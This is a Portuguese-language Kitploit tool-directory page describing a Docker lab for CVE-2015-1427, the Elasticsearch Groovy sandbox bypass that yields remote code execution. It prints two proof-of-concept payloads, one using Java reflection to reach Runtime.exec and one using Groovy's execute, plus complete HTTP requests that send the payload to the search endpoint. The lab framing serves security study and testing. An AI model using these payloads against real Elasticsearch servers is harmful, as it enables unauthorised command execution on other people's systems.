Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Groovy-scripting-engine-CVE-2015-1427 — Ambiente de laboratório baseado em Docker para CVE-2015-1427 ElasticSearch, contornando o sandbox Groovy e executando código remotamente, demonstrando dois métodos de POC com reflexão Java e execução de comandos Groovy. | Kitploit
Ferramentas/GitHubGitHub/cyberharsh/groovy-scripting-engine-cve-2015-1427
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebAprendizado e Educação
GitHubcyberharsh/groovy-scripting-engine-cve-2015-1427

Groovy-scripting-engine-CVE-2015-1427

Ambiente de laboratório baseado em Docker para CVE-2015-1427 ElasticSearch, contornando o sandbox Groovy e executando código remotamente, demonstrando dois métodos de POC com reflexão Java e execução de comandos Groovy.

Ver Repositório
5há 6 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Ambiente de teste do bypass do sandbox Groovy do ElasticSearch && da vulnerabilidade de execução de código (CVE-2015-1427)

Versão do jre: openjdk:8-jre

Versão do elasticsearch: v1.4.2

Princípio

Referências:

  • http://cb.drops.wiki/drops/papers-5107.html
  • http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
  • https://github.com/XiphosResearch/exploits
  • http://cb.drops.wiki/drops/papers-5142.html

Após o CVE-2014-3120, o ElasticSearch trocou a linguagem de script dinâmico padrão para Groovy e adicionou um sandbox, mas ainda suporta a execução direta de linguagens dinâmicas por padrão. Esta vulnerabilidade: 1. é um bypass do sandbox; 2. é uma vulnerabilidade de execução de código Goovy.

O "sandbox" da linguagem Groovy

O ElasticSearch suporta o uso da linguagem Groovy "em sandbox" como script dinâmico, mas, obviamente, o trabalho oficial não foi bem feito. lupin e tang3 propuseram, respectivamente, dois métodos para executar comandos:

  1. Já que existe um sandbox para a execução de código Java, o método de lupin é encontrar uma forma de contornar o sandbox, por exemplo, usando reflexão Java.
  • Como o Groovy também é originalmente uma linguagem, tang3 seguiu outro caminho, usando métodos suportados pela linguagem Groovy para executar comandos diretamente, sem precisar usar a linguagem Java.
  • Portanto, com base nessas duas ideias de exploração da vulnerabilidade, podemos obter dois POCs diferentes.

    Método de bypass do sandbox Java:

    root@kitploit:~
    java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
    

    Método Goovy de execução direta de comandos:

    root@kitploit:~
    def command='id';def res=command.execute().text;res
    

    Teste da vulnerabilidade

    Compile e execute o ambiente de teste

    root@kitploit:~
    docker-compose build
    docker-compose up -d
    

    Como a consulta exige que haja pelo menos um dado no es, envie o seguinte pacote para adicionar um dado:

    root@kitploit:~
    POST /website/blog/ HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 25
    
    {
      "name": "test"
    }
    

    Em seguida, envie um pacote contendo o payload para executar comandos arbitrários:

    root@kitploit:~
    POST /_search?pretty HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/text
    Content-Length: 156
    
    {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
    

    Baixar ferramenta